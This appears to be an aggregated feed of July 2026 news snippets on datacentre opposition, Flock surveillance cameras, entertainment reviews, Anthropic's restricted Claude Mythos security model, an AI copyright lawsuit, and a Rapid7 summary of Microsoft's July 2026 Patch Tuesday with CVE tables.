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Developer withdraws plans for Perth datacentre after fierce community opposition

Sat, 25 Jul 2026 18:55:42 +0200

Three-storey GreenSquare datacentre in Hazelmere was to power cloud computing and the acceleration of AI

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A 15,000 sq metre datacentre near Perth will no longer go ahead after the developer withdrew plans amid community opposition over its impact on culturally significant sites.

The three-storey, 120-megawatt GreenSquare datacentre in the town of Hazelmere had been intended to power cloud computing and the acceleration of artificial intelligence, but faced fierce community backlash – as is increasingly common with such developments.

On Flock License Plate Tracking Cameras

Sat, 25 Jul 2026 08:37:02 +0200

A recent story of a writer who was mistakenly identified, tracked, and arrested using data from Flock cameras has gone viral.

The New Jersey plates that were allegedly stolen from the LA dealer were 34 03 DTM, not 34 10 DTM. But when the police report was created and the plate was entered into Flock’s system, it was just recorded as 34 DTM. Just the five large characters, no little number in the middle. And Flock’s AI tech wasn’t registering that non-standard little number when it began picking up the Range Rover around town. It just saw ...

Save Over $300 on This Eskute E-Trike for an Easy and Affordable Way to Zip Around Town

Thu, 23 Jul 2026 19:07:15 +0200

It’s got a 55-mile range, fat tires for a stable ride and is down to less than $700 right now at Walmart.

There Are No Ghosts at the Grand – stripping back the physical and metaphorical layers of a haunted hotel

Thu, 23 Jul 2026 15:20:54 +0200

Renovate rooms, investigate the supernatural and watch people burst into song in this surreal British ghost story

A young American man arrives in a dilapidated British seaside town to take on the renovations of an equally run-down hotel, inherited from a mysteriously absent father he never knew. His power tools talk to him in a Scottish accent, the local people speak in baffling slang, and occasionally people burst into song. Oh, and there are ghosts.

There Are No Ghosts at the Grand is a novel mix of genres – no bad thing in these times of sequels and remakes – but, according to the creative director of independent developers Friday Sundae, Anil Glendinning, it grew organically from a single goal: to tell a very British ghost story.

Go-Go Town! Review (PC)

Thu, 23 Jul 2026 13:45:17 +0200

We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same. The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy. However, as the town expands, you are shifting away from hands-on ...

Sneaky Windows stealer targets 300+ apps, gives crims an AI profiler to maximize profits

Wed, 22 Jul 2026 15:13:53 +0200

Move over Flipper. There’s a new Dophin X in town This article has been indexed from www.theregister.com – Articles Read the original article: Sneaky Windows stealer targets 300+ apps, gives crims an AI profiler to maximize profits

The post Sneaky Windows stealer targets 300+ apps, gives crims an AI profiler to maximize profits appeared first on IT Security News.

Sneaky Windows stealer targets 300+ apps, gives crims an AI profiler to maximize profits

Wed, 22 Jul 2026 15:06:06 +0200

Move over Flipper. There's a new Dophin X in town

90,000 Flock cameras have quietly gone up in the US: What they track and how to check your city

Tue, 21 Jul 2026 17:22:31 +0200

Flock cameras are everywhere - even in my small town, quietly using AI to identify your car and surveil your movements. But did you consent? Probably not.

Tell us your experiences of living near AI datacentres in the UK

Tue, 21 Jul 2026 11:18:26 +0200

We would like to hear from people living near AI datacentres about their experiences and any concerns they might have

There are around 450 large data centres across the UK. These warehouses contain computing infrastructure that power cloud services and, increasingly, AI.

There is much debate about how datacentres affect their local areas, with concerns raised by nearby residents about land use, pollution, noise, and the “heat island effect”.

Meta’s smartglasses mean any child can be covertly filmed. In the age of AI, how do we tackle that risk?

Tue, 21 Jul 2026 10:33:24 +0200

The company argues that it’s for individuals to ensure they don’t ‘actively exploit’ this technology. That won’t keep children safe

It took me a while to realise what the man sitting next to me on the train was doing. He was flicking through pictures of a little girl on his phone; zooming in on some, cropping the images. Hardly unusual, of course, except that on closer inspection the pictures were very clearly of the toddler sitting opposite us, playing with her parents. On a crowded train of people mostly staring obliviously at our own phones, a stranger had been covertly photographing that little girl over and over again. And if it hadn’t been for that very visible phone screen giving him away, he wouldn’t have been caught.

That encounter was a while ago but my memory was jogged last week listening to a clip of Meta’s VP of wearables, Alex Himel, talk fondly to the BBC about using his new smartglasses to film his daughter singing in a talent contest. They let him capture the memory without having to watch her through a screen, he said, freeing him to be “kind of living in the moment, head up and hands free”. So far, so sweet. But what about the risk of creeps potentially using them to film other people’s daughters covertly, heads up and hands free? Meta’s smartglasses have a tiny flashing warning light on the frame to indicate when the wearer is recording, but the technology is still new enough that many people don’t think to look for it. And in the age of AI, stolen images of children matter. Taken in real life or scraped from the internet, they’re the raw material for generating realistic-looking child abuse material of the most extreme and disturbing kind. (If that sounds like a grim but ultimately fairly victimless crime, the Internet Watch Foundation warned in a recent report that AI-generated material risks fuelling sexual interest in children, normalising violence and increasing the risk of real-life offending.)

Gaby Hinsliff is a Guardian columnist

Do you have an opinion on the issues raised in this article? If you would like to submit a response of up to 300 words by email to be considered for publication in our letters section, please click here.

Developer Sues New Jersey Town After Data Center Ban

Mon, 20 Jul 2026 20:03:32 +0200

A developer is suing a rural New Jersey town after officials reversed course and banned artificial intelligence data centers following weeks of fierce pressure from residents.

On Flock License Plate Tracking Cameras

Mon, 20 Jul 2026 13:08:22 +0200

A recent story of a writer who was mistakenly identified, tracked, and arrested using data from Flock cameras has gone viral.

The New Jersey plates that were allegedly stolen from the LA dealer were 34 03 DTM, not 34 10 DTM. But when the police report was created and the plate was entered into Flock’s system, it was just recorded as 34 DTM. Just the five large characters, no little number in the middle. And Flock’s AI tech wasn’t registering that non-standard little number when it began picking up the Range Rover around town. It just saw ...

Claude Mythos FAQ: Capabilities, access, competitors, implications

Mon, 20 Jul 2026 08:38:28 +0200

What is Claude Mythos?

Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.

Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.

Anthropic established Project Glasswing, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, many of which are also beginning to rely heavily on AI tools.

What are the capabilities of Claude Mythos?

The 50 initial partners of Project Glasswing were able to use Mythos to find more than 10,000 high- or critical-severity vulnerabilities in every major operating system and every major web browser.

The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a 27-year-old bug in OpenBSD. It has also proved capable of chaining multiple vulnerabilities together.

How is Anthropic restricting access to Claude Mythos?

Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.

In June the technology was released to an additional 150 organizations. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.

After the availability of Mythos forced the Trump administration to reconsider its “hands off” approach to AI oversight, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.

What is Claude Fable?

For broader use, Anthropic is offering Claude Fable 5, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.

How are Anthropic’s security vendor partners using access to Mythos?

Cisco, one of Anthropic’s Project Glasswing partners, open-sourced its Foundry Security Spec, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.

During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.

Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.

Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.

Do other AI vendors offer anything comparable to Claude Mythos?

Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.

Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.

As a result, Claude Mythos is far from the only game in town.

For example, OpenAI’s GPT-5.4-Cyber (and GPT-5.5) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.

Chinese cybersecurity firm 360 Security Technology has developed Tulongfeng, described as a domestic answer to Anthropic’s Mythos.

High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.

What do cybersecurity critics say about Claude Mythos?

Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.

Security professionals are complaining through podcasts and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.

Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.

The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.

How should enterprise CISOs respond to the development of Mythos?

Western intelligence agencies that form the Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.

“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.

Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.

AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.

“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”

An AI safety paper from the Cloud Security Alliance warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.

“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.

Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.

See also:

Al-altered images on birdwatching forums putting research at risk

Mon, 20 Jul 2026 06:34:35 +0200

Experts warn increase in enhanced photos on birding platforms creating fake sightings, threatening credibility of tool used by scientists

For many birdwatchers, recording a species outside its normal range is the holy grail. In the UK, the discoveries often make national headlinesThe western reef heron, for example, usually found in Africa and southern Europe, spotted in a seaside town in north Wales in June, which was widely celebrated on birding forums.

But a new scourge is threatening to disrupt the fun: AI slop.

Small Texas Town Joins Group Considering Data Center Ban

Fri, 17 Jul 2026 22:18:30 +0200

Leaders in Lockhart, 30 miles south of Austin, have directed staff to develop strict standards for data center development rather than an outright ban that could expose the city to legal challenges.

Microsoft Flight Simulator 2024 is bringing back Bush Trips and you can already try them in the latest Sim Update 6 beta

Fri, 17 Jul 2026 19:28:54 +0200

There's a new beta in town for Microsoft Flight Simulator 2024 Sim Update 6, and this time it's bringing back the Bush Trips.

Sugar Season 2 Episode 5 Recap: Sugar Enters Pavich’s Inner Circle

Fri, 17 Jul 2026 14:22:59 +0200

Sugar Season 2 Episode 5, titled “Unknowns,” sees John Sugar protect Ji Moon while quietly entering Senator Pavich’s inner circle through a mysterious professor. The episode continues the season’s central investigation into Ji’s disappearance, corrupt police officer Ray Vega, and the wider conspiracy operating across Los Angeles. Sugar also struggles with growing loneliness as he remains separated from the other members of his alien community. Sugar Season 2 Episode 5 release details Episode title: Unknowns Release date: July 17, 2026 Streaming platform: Apple TV Runtime: 40 minutes Genre: Mystery, drama and science fiction Rating: TV-MA Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Shea Whigham and Bernard White Season 2 premiered on June 19, 2026, and contains eight episodes, with the finale scheduled for August 7. New episodes arrive weekly on Fridays. Sugar hides Ji from Vega Spoilers ahead for Sugar Season 2 Episode 5. The episode begins after Sugar secretly brings Ji back from a near-fatal overdose. He takes Ji to a rehabilitation facility, where the young man can remain hidden from Vega and the corrupt officers searching for him. Sugar then creates a false death certificate and allows Vega to believe that Ji has died. To make the story more convincing, Sugar confronts Vega at a private gathering and punches him, acting like a grieving investigator who has lost his witness. However, Vega does not fully accept Ji’s death. He continues tracking Sugar’s movements and later returns to the cabin where Ji was found. A mounted animal head that Sugar accidentally disturbed catches Vega’s attention, suggesting that he has noticed something wrong with the scene. Sugar enters Pavich’s inner circle With Ji temporarily safe, Sugar returns to his investigation of Senator Pavich. He follows Dr. Stanley Ondaatje, a professor connected to Pavich, and breaks into his home. Inside, Sugar discovers a strange document containing four circles. The meaning remains unclear, but the drawing appears connected to the secret project involving Pavich and the professor. Sugar also finds a room filled with succulents and books about desert plants. He later approaches Ondaatje in a cactus garden and pretends to share his interest in plants. Their conversation allows Sugar to gain the professor’s trust without revealing that he has already searched his home. Ondaatje describes the plants as stronger than they appear because they survive with very little in harsh environments. His words also reflect Sugar’s condition as someone living alone among humans while trying to understand how much he has changed. Chuy’s phone could expose Vega Sugar and Val also search for evidence that can support Ji’s claims against Vega. Since Ji witnessed Vega committing murder while involved in a crime himself, officials may question his reliability. They believe Chuy could have recorded evidence on his phone. Sugar eventually finds a phone with an Aztec-style design after discovering Sandra dead from an overdose. The device could contain the proof needed to connect Vega to the murders and the operation in Downer Town. Meanwhile, Danny accepts a boxing contract after refusing to apologize for his recent fight. Although he believes Ji has died, Sugar has secretly kept his brother alive. The closing scenes focus on Sugar’s increasing attachment to human life. He spends the night talking with Charlotte before Peg appears and warns him that he is becoming too human. Episode 5 pushes Sugar closer to Pavich while leaving Vega suspicious about Ji’s supposed death. What do you think the four-circle drawing means, and will Sugar’s connection with Charlotte place her in danger? Let us know in the comments.

Book Publishers Sue Google For Copyright Infringement Over Gemini AI Training

Thu, 16 Jul 2026 01:08:20 +0200

Major publishers Hachette, Cengage, Elsevier, and author Scott Turow have sued Google, accusing it of using millions of copyrighted books to train Gemini without permission or payment, in "one of the most prolific infringements of copyrighted materials in history." The Guardian reports: The publishers argue that Google repurposed books that had been supplied for limited services such as Google Books, Google Play Books and Google Scholar. Those services allowed Google to use the works in specific ways -- for example, to display searchable snippets or sell ebooks -- but not, the lawsuit claims, to copy them for training commercial AI products. "Desperate to maintain its online dominance, Google abandoned its early motto of 'Don't be evil' and engaged in one of the most prolific infringements of copyrighted materials in history," the suit states (PDF). According to the complaint, the tech company made copies of copyrighted books to train Gemini without permission or payment, despite internal discussions acknowledging the legal risks. The filing claims Google flagged internally that it could face "$10Bs-$100Bs in potential fines" for using texts provided by publishers for Google Play Books. The publishers say Google's actions are harming authors and the wider publishing industry, arguing that AI-generated content could negatively impact book sales. It notes that, for example, Gemini could generate "a 100-page murder mystery set in a quiet seaside town filled with secrets, that substitutes for an original copyrighted murder mystery on which Gemini trained" in 20 minutes for 39 cents. "No publisher or author can compete with that." The lawsuit names a number of specific books that the publishers allege were among the copyrighted works used without permission, including NK Jemisin's The Fifth Season, and Lemony Snicket's Who Could That Be at This Hour?

Read more of this story at Slashdot.

Apple TV Sets Return Date for Where’s Wanda? Season 2, First Look Released

Wed, 15 Jul 2026 17:25:43 +0200

Apple TV has revealed the first look at Where’s Wanda? season two, confirming that the German dark comedy will return on October 21, 2026. The new image brings the Klatt family back together, although their attempt to return to a normal life will quickly fall apart when Wanda becomes involved in another murder mystery. The first season followed Carlotta and Dedo Klatt as they searched for their missing teenage daughter after losing confidence in the police investigation. Their unusual surveillance operation exposed secrets across their quiet suburban town while slowly bringing them closer to discovering what happened to Wanda. Season two will introduce a different problem for the family. This time, the Klatts already know where Wanda is, but they must prove that she did not commit murder. Series: Where’s Wanda? season two Genre: Dark comedy, mystery and crime Number of episodes: Eight Season premiere: Wednesday, October 21, 2026 Season finale: Wednesday, December 9, 2026 Release schedule: One new episode every Wednesday Streaming platform: Apple TV Main cast: Heike Makatsch, Axel Stein, Lea Drinda and Leo Simon Season two will premiere globally with one episode on October 21. The remaining episodes will arrive weekly until the finale on December 9. Where’s Wanda? Season Two Plot Spoilers for season one follow. Season two begins after Wanda has returned to her family and the Klatts believe the worst part of their lives is behind them. That sense of relief ends when Wanda is discovered standing over a dead body and appears to have been caught at the scene of a murder. Carlotta and Dedo refuse to accept that their daughter is responsible. Determined to protect her, they begin another investigation without waiting for the authorities to solve the case. Their search for the real murderer takes them deeper into the criminal side of their seemingly peaceful town. The family will have to question neighbours, follow dangerous leads and uncover more secrets while trying to keep Wanda away from prison. The new storyline continues the show’s mix of family drama, crime and uncomfortable comedy. The first season focused on finding Wanda, while the second places her at the centre of a new mystery. The biggest question will be what Wanda was doing beside the body and whether someone deliberately arranged the scene to make her look guilty. Who Is Returning for Where’s Wanda? Season Two? Heike Makatsch returns as Carlotta Klatt, with Axel Stein once again playing her husband, Dedo. Lea Drinda will reprise her role as Wanda, while Leo Simon returns as her brother, Ole. The Klatt family remains the centre of the series. Their relationships will face another serious test as they investigate the murder and deal with the possibility that Wanda has kept important details from them. FAQs When does Where’s Wanda? season two come out? Where’s Wanda? season two premieres on Apple TV on Wednesday, October 21, 2026. How many episodes are in Where’s Wanda? season two? The second season has eight episodes. One episode will arrive on the premiere date, followed by weekly releases through December 9, 2026. What is Where’s Wanda? season two about? Season two follows the Klatt family as they try to prove Wanda’s innocence after she is found standing over a dead body. Their investigation leads them into the criminal underworld of their suburban town. Do I need to watch season one first? Yes. The second season continues the Klatt family’s story and reveals what happened after Wanda’s disappearance. Watching season one first will explain the family relationships, the town’s secrets and Wanda’s return. Is there a Where’s Wanda? season two trailer? A full season two trailer has not been released yet. Apple TV has currently shared the first image and initial story details for the new episodes. Where’s Wanda? season two starts streaming on October 21, giving viewers another dark and unusual mystery involving the Klatt family. Apple TV costs $12.99 per month in the United States after a seven-day free trial. What do you think happened at the murder scene, and will the Klatts manage to prove Wanda’s innocence? Let us know in the comments.

Patch Tuesday - July 2026

Wed, 15 Jul 2026 00:23:40 +0200

Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 noted last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.

SharePoint: critical auth bypass by Rapid7

Today sees the publication of CVE-2026-55040, a critical authentication bypass in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full Rapid7 blog post sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

SharePoint: zero-day EoP

It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of CVE-2026-56164, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.

What’s the opposite of coordinated disclosure?

After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to bring maximum discomfort for Redmond. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as CVE-2026-50656, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today, a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.

Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for CVE-2026-50661 explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.

Active Directory Federation Services: zero-day EoP

Active Directory administrators should note the emergence today of CVE-2026-56155, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.

Age of Empires II: RCE

Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for CVE-2026-50663 might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.

Microsoft lifecycle update

As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. SQL Server 2016 moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling SQL Server 2014 moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server 2016 and 2019 reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server 2016 and 2019, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. Visual Studio 2022 Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to Visual Studio 2026 as supported options.

Summary charts

Summary tables

Apps vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8

Azure vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2

Developer Tools vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-47302	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50525	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50651	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-57108	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-50659	.NET Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50526	.NET Tampering Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8

Device vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

ESU vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	N/A	No	4.8
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	6.3
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49174	DNS Client Tampering Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50495	DNS Client Tampering Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
